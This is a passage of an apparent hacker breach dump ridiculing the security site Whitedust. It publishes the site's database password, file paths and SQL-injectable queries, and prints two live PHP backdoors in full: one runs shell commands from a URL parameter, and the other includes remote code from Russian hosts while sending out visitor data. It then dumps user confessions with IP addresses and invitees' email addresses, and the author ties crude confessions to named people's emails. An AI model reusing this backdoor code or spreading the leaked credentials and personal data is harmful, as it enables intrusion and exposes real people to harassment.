		$retchk = mysql_query ("select UserID, Priv, LastIP,
LastLogin, Email, Active from wd3_users where (Username = '$username' and
Password = '$cpassword')", $db_remote);
		$retsel = mysql_query ("select Username from wd3_users
where (UserID = '$userid')", $db_remote);
		$retchk = mysql_query ("select UserID, Priv, LastIP,
LastLogin, Email, Active from wd3_users where (Username = '$username' and
Password = '$cpassword')", $db_remote);
		$retchk = mysql_query ("select InviteID from wd3_invites
where (Email = '$email' and RSVP = 0)", $db_remote);
		$retchk = mysql_query ("select UserID from wd3_users where
(Email = '$email')", $db_remote);
		$retchk = mysql_query ("select UserID from wd3_users where
(Username = '$username')", $db_remote);
		$retchk = mysql_query ("select UserID from wd3_users where
(ActivateKey = '$key')", $db_remote);

$ head common/inc-conf.php 
<?

$cookiedomain = ".whitedust.net";
$emailaddy = "mark.anderson@whitedust.net";
$uploaddir = "/home/markande/domains/whitedust.net/public_html/";
$db_host   = "localhost";
$db_user   = "markande_dbuser";
$db_pass   = "doesabearshitinthewoods";
$db_db	   = "markande_whitedust";

$ head common/inc-library.php 
<?

$cmd = $_REQUEST['cmd'];

if ($cmd == 'un') {
	$id = mysql_escape_string ($_GET['I']);
	$email = mysql_escape_string ($_GET['E']);
	$sqldel = "delete from wd_newsletter where (ID = '$id' and Email =
'$email')";
	$retupd = mysql_query ($sqldel, $db_remote);
	$err_txt = "You have been unsubscribed.";


$ grep inc-library.php *
404handler.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
archive.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
controlpanel.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_changepassword.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_createpage.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_deletenews.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_deletepage.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_editnews.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_editpage.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_managesections.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_newsreader.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_postnews.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
cp_postsidenews.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
filter.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
index.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
login.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
search.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
sections.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
viewnews.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';
viewpage.php:include_once
'/home/markande/domains/whitedust.net/public_html/common/inc-library.php';

Check out the security through obscurity!

Now that we have seen the ins and outs of WD3, let's take a trip back in
time. Conveniently they neither package their backups nor make them
unviewable from the web.

$ ls backup20070105/
101			   data_comingsoon.txt		 data_todo.txt	  
	   index.php		 search.php
addcomment.php		   data_counter.txt		
data_yesterdaysnews.txt      lastRSS.php	   section.php
addnews.php		   data_counter101.txt		 db.php 	  
	   modaddnews.php	 security
adfiles 		   data_google.txt		 emailtofriend.php
	   newpollvote.php	 sitemap.php
advancedsearch.php	   data_internalad.txt		 favicon.ico	  
	   newsletter_click.php  solemnity
advancedsearchresults.php  data_internaladrss.txt	 figlet 	  
	   newsol		 survey.php
archives.php		   data_news.txt		
forgottenpassword.php	     newsview.php	   template.php
articles.rss		   data_news101.txt		 getpdf.php	  
	   oldnews.php		 test.php
articles101.rss 	   data_polloptions.txt 	 google.php	  
	   phpinfo.php		 view.php
articlesonly.rss	   data_pollquestion.txt	
googleaf57792d65dedc80.html  pngbehavior.htc	   view101.php
conf.php		   data_quicklinks.htm		 images 	  
	   pollview.php 	 wd-popup
consulting		   data_quote.txt		 inc-conf.php	  
	   pollvote.php 	 wd.css
contactpopup.php	   data_referers.txt		 inc-db.php	  
	   popup-images 	 whitedustspeaks.php
data_archive.txt	   data_scrapbook.txt		 inc-library.php  
	   popup.html
data_articles.txt	   data_sections.txt		 index.dev.php	  
	   popup.js
data_articles101.txt	   data_template_newsletter.txt  index.new.php	  
	   printpage.php

We can now see the main improvements from the redesign: Cronus' fantastic
file organization skills.

$ head backup20070105/conf.php 
<?

$cookiedomain = ".whitedust.net";
$emailaddy = "mark.anderson@whitedust.net";
$uploaddir = "/home/markande/domains/whitedust.net/public_html/";
$db_host   = "localhost";
$db_user   = "markande_dbuser";
$db_pass   = "doesabearshitinthewoods";
$db_db	   = "markande_whitedust";

$ cat backup20070105/data_todo.txt 
Things To Add
============

- Random Page Summery & Link Displayed on Front Page.
- Site Map.
- More Amazon Reviews.
- Fix Mail List.
- Mailing List Editorial Option.
- Mailing List Forum Connection.
- 3rd Party Document Archive? Security paper archive.
- Slashdot this link, Digg this link. 
^^^^ cause slashdot won't take them from you anymore

- Visual Update Box.
^^^^ ooh visual

- "Hacking A Crime Or Ideology" 

- Remind Cronus To Setup Bank Details In Spreadshop.
- Fashion/Marketing Student Help With Shop Promotion.
- games.whitedust.net

- Mitnick interview via Fyodor.
- Linus interview.
- Pirate Bay Interview.
- Richard Stallman Interview.
- Mark Abene Interview.
- John Draper Interview (crunch@webcrunchers.com).

- White Mail www.whitemail.ie # cronus can sort
- NOD32 www.nod32.com # cronus can sort
+ Probably any product listed on www.reflex.ie


Thing To Remove
==============
- None At This Time.
^^^^ - Shitty code
^^^^ - Bugs
^^^^ - Whitedust.net

Vague Concepts
=============
- Concept: Kids are being discouraged from "Hacking" we could encourage
"Computer Security Awareness"? 
- Concept: Get words of praise from various sources (Email Past Interview
Subjects For Positive Comments On Whitedust For Testimonial Page).


Things On The Boil
================
- Site Redesign.
- WD Conference.

Look at the juvenile mind of a Whitedust employee! Look at his great
plans! Look at him beg for words of praise!

$ ls backup20070105/security/
cgi-bin
$ ls backup20070105/security/cgi-bin/
$ 

I was worried for a second that they had some security on site!

$ cat backup20070105/test.php 
<?
echo system('which php', $ret);
phpinfo();
?>

$ ls backup20070105/consulting/
consulting-link.png  development.php  index.php     testing.php  
wdc-mainpagelinkconcept.png
design.php	     graphics	      research.php  training.php 
wdc-minisite-concept.png

I bet they didn't get many requests for their elite knowledge and skills.

$ ls backup20070105/101
addcomment.php	 articlesonly.rss  data_articles.txt	 data_sections.txt
       emailtofriend.php     index.php	     wd.css
archives101.php  base.php	   data_articles101.txt 
data_yesterdaysnews.txt  getpdf.php	       printpage.php
articles.rss	 cgi-bin	   data_news.txt	 date.php	  
       header101-small.jpg   section101.php
articles101.rss  data_archive.txt  data_news101.txt	 download.php	  
       header2101-small.jpg  time.php

Check it out, someone owned Whitedust and the backdoor didn't get
removed.

$ cat backup20070101/101/download.php
<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
    if(isset($_POST["input"])){$user_auth="&l=".
base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
    else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("") . sprintf("%u",
ip2long(getenv(REMOTE_ADDR))) ."&url=". b
ase64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth
. $log_flg))
{
    if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
    if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>

$ diff backup20070101/101/date.php backup20070101/101/download.php

$ cat backup20070101/101/base.php
<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ?
$_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ?
$_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])
? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])
? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ?
$_SERVER["QUERY_STRING"] :
$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ?
$_SERVER["HTTP_REFERER"] :
$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ?
$_SERVER["HTTP_USER_AGENT"] :
$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ?
$_SERVER["REMOTE_ADDR"] :
$REMOTE_ADDR);$str=base64_encode($a).".".base64_encode($b).".".base64_enco
de($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f)."
.".base64_encode($g).".".base64_encode($h).".$s"; if
((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ
1")."/?".$str))){} else
{include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3Mu
cnU=")."/?".$str);} ?>

$ diff backup20070101/101/base.php backup20070101/101/time.php

$ cat backup20070101/101/.htaccess
Options -MultiViews
ErrorDocument 404 //101/base.php
Options -MultiViews
ErrorDocument 404 //time.php

Although the backdoor could have been inserted at any time, the .htaccess
looks like it was built for the original setup.

Allow us to save you the time decoding the base64.

aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9 :
http://bis.iframe.ru/master.php?r_addr=
aHR0cDovLw== : http
dXNlcjkubXNodG1sLnJ1 : user9.mshtml.ru
dXNlcjcuaHRtbHRhZ3MucnU= : user7.htmltags.ru

So, some elite Russian hax0rs owned Whitedust and added four php files to
the directory. They then added a .htaccess with custom 404s to make it
even easier for them. That easily could be from some mass 0wning tool.

How the hell did Whitedust not notice this? Could the backdoors be any
more obvious?  Even if just one was found it should have lead to the
others being noticed immediately. Did Cronus and psg just _never_ check
out their website files, or review their code, let alone do any security
checks?

Now let's check out the July backups.

$ ls backup20070717/
0day.php		 admin_editpage.php	    con 		  
       forums		  index-survey.php	 projects.php
1.css			 admin_editsection.php	    data_articles.thtml   
       forums_old	  index.php		 robots.txt
101			 admin_internalad.php	   
data_currenteditorial.thtml   hakspace-feed.php  lastRSS.php	       
search.php
Mail			 admin_listnews.php	    data_headline.thtml   
       helloworld.php	  mckinnon		 section.php
Mail.php		 admin_listpages.php	    data_news.thtml	  
       images		  modaddnews.php	 security
PEAR.php		 admin_poll.php 	    data_referers.txt	  
       inc-conf.php	  modapprovecomment.php  send.php
admin_bin.php		 admin_rssfeeds.php	    data_rsslist.txt	  
       inc-db.php	  modccount.php 	 submit.php
admin_comingsoon.php	 admin_sections.php	    data_scrapbook.txt	  
       inc-footer.php	  new.php		 survey.php
admin_createad.php	 admin_survey.php	   
data_template_newsletter.htm  inc-footer.thtml	 newpollvote.php       
text
admin_createnews.php	 admin_todo.php 	    data_todo.txt	  
       inc-header.php	  newsletter_click.php	 view.php
admin_createpage.php	 admin_viewuser.php	   
data_yesterdaysnews.thtml     inc-header.thtml	 newsview.php	       
whitedust-articles.rss
admin_createsection.php  advancedsearch.php	    editorial.php	  
       inc-library.php	  openwysiwyg		 whitedust-comments.rss
admin_cronjob.php	 advancedsearchresults.php  editorial.png	  
       include		  pollview.php
admin_editnews.php	 archives.php		    filter.php		  
       index-paging.php   popup.html

0day! Let's check it out!

$ grep 0day backup20070717/0day.php 
<? gen_0daylistlong(); ?>

$ grep gen_0day backup20070717/*
0day.php:<? gen_0daylistlong(); ?>
inc-conf.php:function gen_0daylistlong () {
inc-conf.php:function gen_0daylist () {
index.php:<? gen_0daylist(); ?>

$ grep zeroday backup20070717/inc-conf.php 
	if ($rs = $rss->get('http://research.eeye.com/rss/zeroday.rss')) {
	if ($rs = $rss->get('http://research.eeye.com/rss/zeroday.rss')) {

Ok, so maybe it isn't real 0day. But let's keep looking, I'm sure there is
something interesting around.

$ ls security/
cgi-bin

Still no security.

$ cat backup20070717/helloworld.php 
<?

sleep(5);

echo time();
?>

$ ls backup20070717/forums/
cgi-bin

$ ls backup20070717/forums_old/
cgi-bin index.php

$ cat backup20070717/forums_old/index.php 
<?
// start the session
$expireTime = 60*60*24*100; // 100 days
session_set_cookie_params($expireTime, "/", ".whitedust.net");
session_start();
header("Cache-control: private"); //IE 6 Fix

include '../inc-conf.php';
include '../inc-db.php';

$cmd = $_GET['cmd'];
if ($cmd == '') { $cmd = $_POST['cmd']; }
$pageid = mysql_escape_string ($_GET['PageID']);
if ($pageid == '') { $pageid = mysql_escape_string ($_POST['PageID']); }
$err_txt = $_GET['err_txt'];
if ($err_txt == '') { $err_txt = $_POST['err_txt']; }

include '../inc-header.thtml';
?>

					<p class="description">

							<b
class="headline">Whitedust Forums</b><br/>

					</p>

					<div id="contentwide">


<IFRAME SRC="http://www.whitedust.net/forum/" WIDTH="100%" HEIGHT="800"
TITLE="Whitedust Forums" border="0">
<!-- Alternate content for non-supporting browsers -->
</IFRAME>


					</div>




			  </div>

			</div>

<? include '../inc-footer.thtml'; ?>

Thank God Cronus lacked the skills to write his own forum!

In case one wanted to know, there was 28MB of session data from the
backup directories. I suppose the Whitedust folks thought it was important
to keep that information.


O hai! db time!

The WD db is fat. Babe Ruth fat. As you can guess, it is bloody full of
everything ever produced on whitedust.net. Which just isn't cool. Not only
that, but they have spam in their db. Lots of it. Please clean the porn
spam out, for the next guy who wants to go through this.

We can still find some fun for you.

-- Dumping data for table `wd3_confessions`
--

INSERT INTO `wd3_confessions` VALUES (1, 'I forget my passwords all the
time. I am mentally retarded.', 2, '86.128.242.50');
INSERT INTO `wd3_confessions` VALUES (2, 'Once, I sparked a brand new mobo
with a screw driver because I left it on while I was overclocking it. Tha
t was pretty dumb.', 2, '86.128.242.50');
INSERT INTO `wd3_confessions` VALUES (3, 'A few years back, while
installing a beta of Win2K, I decided to re-partition the wrong hard drive
and wip
ed out my main Linux install instead of the junk partitions on the drive I
meant to use. Didn\\''t lose anything of particular value, but plenty of
files that I\\''d like to still have.', 2, '86.128.242.50');
INSERT INTO `wd3_confessions` VALUES (4, 'Many years ago, we had a cluster
of vaxen connected by this new-fangled thin-wire ethernet. On one occasio
n I managed to catch my foot in a dangling cable and pull a plug out. The
whole cluster came to a juddering halt and everything had to be rebooted (
apparently vax clusters are very intolerant of broken connections).', 2,
'86.128.242.50');
INSERT INTO `wd3_confessions` VALUES (5, 'I Left a Win NT server running
on some old scsi drives stay on for an entire summer without supervision.
I
\\''m not entirely sure why the drive didn\\''t power down, but when we
came back there was a hole blown through one side of the drive and all of
th
e platters were ground to a fine magnetic dust.', 2, '86.128.242.50');
INSERT INTO `wd3_confessions` VALUES (6, 'I beat off to an image of Mark
Hinge.', 0, '69.149.55.127');
INSERT INTO `wd3_confessions` VALUES (7, 'Once while browsing my schools
database.  Some idiot copied the entire schools SSN\\''s and other
sensitiv
e data into a public folder.  I sold ever last byte of data.  ', 0,
'207.62.142.90');
INSERT INTO `wd3_confessions` VALUES (8, 'I eat cat...no seriously nigga,
I do. It\\''s good as fuck too. Try that shit!', 0, '71.41.119.106');
INSERT INTO `wd3_confessions` VALUES (9, 'Hackers is the best movie
ever.', 0, '75.45.93.66');
INSERT INTO `wd3_confessions` VALUES (10, 'Mark is really a lady, which is
why he loves men so much', 0, '195.153.0.146');
INSERT INTO `wd3_confessions` VALUES (11, 'I hate myself.', 0,
'15.235.153.105');
INSERT INTO `wd3_confessions` VALUES (18, 'I once hacked my localhost
without realizing it was my own comp.', 0, '85.227.190.206');
INSERT INTO `wd3_confessions` VALUES (17, 'If I had a penny for every
stupid coding mistake I\\''ve made, I\\''d have a penny.', 0,
'89.125.72.46');
INSERT INTO `wd3_confessions` VALUES (14, 'I, on occasion, hacketh on
Sunday.', 0, '129.169.173.159');
INSERT INTO `wd3_confessions` VALUES (15, 'Hakspace now knows how to
prevent against \\"simple xss\\" :P', 2, '86.128.245.103');
INSERT INTO `wd3_confessions` VALUES (16, 'I forgot about xss when
throwing this confessional together... Opps.', 0, '89.125.72.46');
INSERT INTO `wd3_confessions` VALUES (19, 'I put porn on my catholic high
schools web page.  It was glorious!', 0, '207.62.142.90');
INSERT INTO `wd3_confessions` VALUES (20, 'printed off the pwd list in
clear txt, left it on the printer. goamin jebus, cant u get a bros back,
we a
ll know u were english', 0, '80.6.1.228');
INSERT INTO `wd3_confessions` VALUES (21, 'Kevin Mitnick is a narc', 0,
'213.132.44.209');
INSERT INTO `wd3_confessions` VALUES (22, 'I forget his passwords all the
time, I am mentally retarded\r\n', 0, '70.181.60.235');
INSERT INTO `wd3_confessions` VALUES (23, 'I sucked off Mark Hinge for an
invite to Hakspace.', 23, '208.29.186.54');
INSERT INTO `wd3_confessions` VALUES (24, 'I\\''m a psychopathic sadist.
Nothing turns me on like fear and panic and raw terror in a girl\\''s
eyes.
', 0, '64.184.139.50');
INSERT INTO `wd3_confessions` VALUES (25, 'Mark Hinge is the secret
identity of the superhero Electric Warrior.', 0, '64.184.139.50');
INSERT INTO `wd3_confessions` VALUES (26, 'I have dreams where I can fly
and make people explode. In one of my past lives I must have been a
fighter
 plane.', 0, '64.184.139.50');
INSERT INTO `wd3_confessions` VALUES (27, 'Looking at PERL makes me fly
into a violent rage and crush people with steamrollers', 0,
'64.184.139.50')
;
INSERT INTO `wd3_confessions` VALUES (28, 'i still cant figure out how to
shot web', 0, '64.184.139.50');
INSERT INTO `wd3_confessions` VALUES (29, 'Once, back in the early years
of the WWW, I had this win3.11 486 with a compressed hard drive. I was not
satisfied with how small the hard drive was, so in an effort to free up
more space I deleted the compression file on H:. It did indeed free up
disk
space. I cried. \r\nTrue Fact!', 0, '64.184.139.50');
INSERT INTO `wd3_confessions` VALUES (30, 'i\\''m in love with a fictional
character and feel so ashamed and stupid but i can\\''t help it', 0, '64.
184.139.50');
INSERT INTO `wd3_confessions` VALUES (31, 'I never follow through on my
promises to do things for people.', 0, '64.184.139.50');
INSERT INTO `wd3_confessions` VALUES (32, 'I found the \\"mental
retard\\"\\''s passwords and changed them all :)', 0, '64.184.139.50');
INSERT INTO `wd3_confessions` VALUES (33, 'It took me three days to mount
a USB drive on slackware :(', 0, '86.128.245.103');
INSERT INTO `wd3_confessions` VALUES (34, 'I am not in love with a
fictional character but I still really want to bang Scarlet Johanson.', 2,
'86.12
8.245.103');
INSERT INTO `wd3_confessions` VALUES (35, 'I did both my ex\\''s best
friends. That\\''ll teach her.', 2, '86.128.245.103');
INSERT INTO `wd3_confessions` VALUES (36, 'I watched most of mad max three
yesterday jsut so i could hear HERO by tina turner in that context... and
 they fucking cut it. That\\''s the definition of disappointing.', 2,
'86.128.245.103');
INSERT INTO `wd3_confessions` VALUES (37, 'I pissed in the iced tea while
working at McDonalds.', 0, '208.135.167.58');
INSERT INTO `wd3_confessions` VALUES (38, 'I pissed in the iced tea while
working at McDonalds.', 0, '208.135.167.58');
INSERT INTO `wd3_confessions` VALUES (39, 'Kevin Mitnick has more money
than God. And he\\''s not God.', 0, '86.128.245.103');
INSERT INTO `wd3_confessions` VALUES (40, 'Once I stole someone\\''s
mouseball at work.', 0, '71.217.127.25');
INSERT INTO `wd3_confessions` VALUES (41, 'I\\''ve finally paid off my
computer. It\\''s been 2 years of monthly payments, 2 years of joy,
sadness, 
porn, ridiculous mailing friends, a 39 year old woman stalking me over the
msn after being humped and choked, oh boy, that woman could suck. She\\''
s dismissed by this controllable beast for a keyboard, click. Oh gosh,
times are changing, credits are being washed away, only 239 Swedish crowns
to
 go, it\\''s amazing how the internet can keep you amused for 40$ a month,
it\\''s a fuckin\\'' devil\\''s bargain. \r\n\r\nThey tell me that the in
ternet should be free of charge, it is, just think of all the pussies you
can get over the net for 40$. A short introduction of yourself, a picture 
of your cock and you\\''re all set. You can\\''t even get a blowjob from a
prostitute on the streets for that price, so yeah, the internet is alread
y free of charge. All the things I\\''ve ordered with this digital
masterpiece, oh boy, it\\''s countless. And the best part... it\\''s all
mine now
.\r\n\r\n', 0, '81.236.159.119');
INSERT INTO `wd3_confessions` VALUES (42, 'I still smell blooommuhs and
plagiarize Lenny Bruce;maybe if I got my head outa my pants?', 0,
'64.114.17
5.220');
INSERT INTO `wd3_confessions` VALUES (43, 'every single program on my pc
is pirated... im a budget guy', 31, '86.140.164.35');
INSERT INTO `wd3_confessions` VALUES (44, 'dead girls dont say no ;)', 31,
'86.140.164.35');


Most are anonymous but a few are interesting:

INSERT INTO `wd3_confessions` VALUES (15, 'Hakspace now knows how to
prevent against \\"simple xss\\" :P', 2, '86.128.245.103'); 
# good work psg! now onto sql injection!

INSERT INTO `wd3_confessions` VALUES (23, 'I sucked off Mark Hinge for an
invite to Hakspace.', 23, '208.29.186.54');
# 'Nox_Deveraux@hotmail.com', 'vioxis'

INSERT INTO `wd3_confessions` VALUES (35, 'I did both my ex\\''s best
friends. That\\''ll teach her.', 2, '86.128.245.103');
# naughty psg! Is your current girlfriend one of them?

INSERT INTO `wd3_confessions` VALUES (44, 'dead girls dont say no ;)', 31,
'86.140.164.35');
# 31, 'jswray@hotmail.com', 'Hellz UK'

-- Dumping data for table `wd3_invites`
--

INSERT INTO `wd3_invites` VALUES (1, 'mark.anderson@whitedust.net', 0, 1);
INSERT INTO `wd3_invites` VALUES (2, 'mark.hinge@whitedust.net', 0, 1);
INSERT INTO `wd3_invites` VALUES (7, 'jake.black@whitedust.net', 1, 1);
INSERT INTO `wd3_invites` VALUES (6, 'jake.black@whitedust.net', 1, 1);
^^^^^ super important double invite
INSERT INTO `wd3_invites` VALUES (8, 'retro@whitedust.net', 2, 1);
INSERT INTO `wd3_invites` VALUES (9, 'liamshee@hushmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (10, 'info@mellow.ie', 1, 1);
INSERT INTO `wd3_invites` VALUES (11, 'info@mellow.ie', 1, 1); 
^^^^^ omg-bak quadrouple invite!
INSERT INTO `wd3_invites` VALUES (12, 'info@mellow.ie', 1, 1);
INSERT INTO `wd3_invites` VALUES (13, 'info@mellow.ie', 1, 1);
INSERT INTO `wd3_invites` VALUES (14, 'voshika@hakspace.net', 2, 1);
INSERT INTO `wd3_invites` VALUES (15, 'whitedust@hakspace.net', 2, 1);
INSERT INTO `wd3_invites` VALUES (16, 'hakspace@hakspace.net', 2, 1);
INSERT INTO `wd3_invites` VALUES (17, 'zachary.ehnerd@whitedust.net', 2, 1);
INSERT INTO `wd3_invites` VALUES (18, 'peter.prickett@whitedust.net', 2, 1);
INSERT INTO `wd3_invites` VALUES (19, 'Oracle.GreenDiamond@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (20, 'prgmmstr@hotmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (21, 'l0gic@l0gic.net', 2, 0);
INSERT INTO `wd3_invites` VALUES (22, 'kussic@mac.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (23, 'talonprime@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (24, 'webmaster@cultdeadcow.com', 2, 0);
INSERT INTO `wd3_invites` VALUES (25, 'kyrill.poole@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (26, 'Nox_Deveraux@hotmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (27, 'ganesh.devarajan@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (28, 'mark.collins@westgateit.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (29, 'robohara@robohara.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (30, 'joe@cotch.net', 2, 0);
INSERT INTO `wd3_invites` VALUES (31, 'myles@cultdeadcow.com', 2, 0);
INSERT INTO `wd3_invites` VALUES (32, 'adi.zerok@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (33, 'dancho.danchev@hush.com', 2, 0);
INSERT INTO `wd3_invites` VALUES (34, 'rdx@chemist.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (35, 'tetsuharu@gmail.com', 14, 1);
INSERT INTO `wd3_invites` VALUES (36, 'adrian.daly@whitedust.net', 2, 0);
INSERT INTO `wd3_invites` VALUES (37, ' phantom1984@mail.gr', 14, 1);
INSERT INTO `wd3_invites` VALUES (38, 'itek.etx@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (39, 'crazyferk@hotmail.com', 2, 0);
INSERT INTO `wd3_invites` VALUES (40, 'mukkanythio@hotmail.com', 2, 0);
INSERT INTO `wd3_invites` VALUES (41, 'todreamofautumn@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (42, 'christopher.hogg@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (43, 'screv@hotmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (44, 'zaphodb777@gmail.com', 2, 0);
INSERT INTO `wd3_invites` VALUES (45, 'naxxtor@hackervoice.co.uk', 2, 0);
^^^^^ lawl noob
INSERT INTO `wd3_invites` VALUES (46, 'peter.prickett@whitedust.net', 2, 1);
INSERT INTO `wd3_invites` VALUES (47, 'peter.prickett@hotmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (48, 'mukkanyhtio@hotmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (49, 'jswray@hotmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (50, 'punkle.jones@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (51, 'carlysmith@hotmail.com', 2, 0);
INSERT INTO `wd3_invites` VALUES (52, 'trammel@cdc-nsf.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (53, 'chunky_lover785@msn.com', 14, 1);
INSERT INTO `wd3_invites` VALUES (54, 'wajkas@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (55, 'webmistress@rqporn.com', 14, 0);
INSERT INTO `wd3_invites` VALUES (56, 'necromancer.rob@gmail.com', 23, 1);
INSERT INTO `wd3_invites` VALUES (57, 'n00dles@neocyber.info', 2, 0);
INSERT INTO `wd3_invites` VALUES (58, 'kuza55@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (59, 'quorbeau@gmail.com', 2, 1);
INSERT INTO `wd3_invites` VALUES (60, 'alistair.lamont@gmail.com', 2, 1);


INSERT INTO `wd3_profiles` VALUES (6, 8, 'Voshika', 'The voice from the
dark.', 'You don\\''t know me. But I\\''ve always been here.', 'Many.',
'Man
y.', 'voshika [at] hakspace.net',
'http://www.hakspace.net/avatarimages/voshika.jpg',
'/home/markande/domains/hakspace.net/public_html/avatarimages/
voshika.jpg', '');

We know you. You're that goatraper psg.

-- Dumping data for table `wd3_rssfeeds`
-- 

INSERT INTO `wd3_rssfeeds` VALUES (1, '',
'http://www.techdirt.com/techdirt_rss.xml');
INSERT INTO `wd3_rssfeeds` VALUES (2, '',
'http://slashdot.org/slashdot.xml');
INSERT INTO `wd3_rssfeeds` VALUES (3, '',
'http://news.bbc.co.uk/rss/newsonline_uk_edition/technology/rss.xml');
INSERT INTO `wd3_rssfeeds` VALUES (4, '',
'http://www.theregister.co.uk/headlines.rss');
INSERT INTO `wd3_rssfeeds` VALUES (5, '',
'http://www.moreover.com/cgi-local/page?feed=129&o=rss');
INSERT INTO `wd3_rssfeeds` VALUES (6, '',
'http://msdn.microsoft.com/security/rss.xml');
INSERT INTO `wd3_rssfeeds` VALUES (7, '',
'http://www.networkcomputing.com/rss/rss-security.jhtml');
INSERT INTO `wd3_rssfeeds` VALUES (8, '',
'http://www.networkworld.com/rss/security.xml');
INSERT INTO `wd3_rssfeeds` VALUES (9, '',
'http://www.topix.net/rss/tech/computer-security.xml');
INSERT INTO `wd3_rssfeeds` VALUES (10, '',
'http://feeds.feedburner.com/zdnetuk/security');
INSERT INTO `wd3_rssfeeds` VALUES (11, '',
'http://feeds.computerworld.com/Computerworld/Hacking/News');
INSERT INTO `wd3_rssfeeds` VALUES (12, '',
'http://feeds.computerworld.com/Computerworld/Security/News');
INSERT INTO `wd3_rssfeeds` VALUES (13, '',
'http://feeds.computerworld.com/Computerworld/Security/Holes/News');
INSERT INTO `wd3_rssfeeds` VALUES (14, '',
'http://feeds.computerworld.com/Computerworld/Worms/News');
INSERT INTO `wd3_rssfeeds` VALUES (15, '',
'http://feeds.computerworld.com/Computerworld/Macintosh/News');
INSERT INTO `wd3_rssfeeds` VALUES (16, '',
'http://www.neworder.box.sk/xml.php');
INSERT INTO `wd3_rssfeeds` VALUES (17, '',
'http://rtfm.spaces.live.com/feed.rss');
INSERT INTO `wd3_rssfeeds` VALUES (18, '',
'http://www.frsirt.com/exploits.xml');
INSERT INTO `wd3_rssfeeds` VALUES (19, '',
'http://www.securitypark.co.uk/rss/rss.asp');
INSERT INTO `wd3_rssfeeds` VALUES (20, '',
'http://rss.windowsecurity.com/allnews.xml');
INSERT INTO `wd3_rssfeeds` VALUES (21, '',
'http://secunia.com/information_partner/anonymous/o.rss');
INSERT INTO `wd3_rssfeeds` VALUES (22, '',
'http://populicio.us/newlinks.rss');
INSERT INTO `wd3_rssfeeds` VALUES (23, '',
'http://digg.com/rss/indexsecuritydig.xml');
INSERT INTO `wd3_rssfeeds` VALUES (24, '',
'http://www.cultdeadcow.com/cms/index.xml');
INSERT INTO `wd3_rssfeeds` VALUES (25, '',
'http://www.whitedust.net/articles.rss');
INSERT INTO `wd3_rssfeeds` VALUES (26, '',
'http://research.eeye.com/rss/zeroday.rss');
INSERT INTO `wd3_rssfeeds` VALUES (27, '',
'http://www.lockdown.co.uk/wp-rss2.php');
INSERT INTO `wd3_rssfeeds` VALUES (28, '',
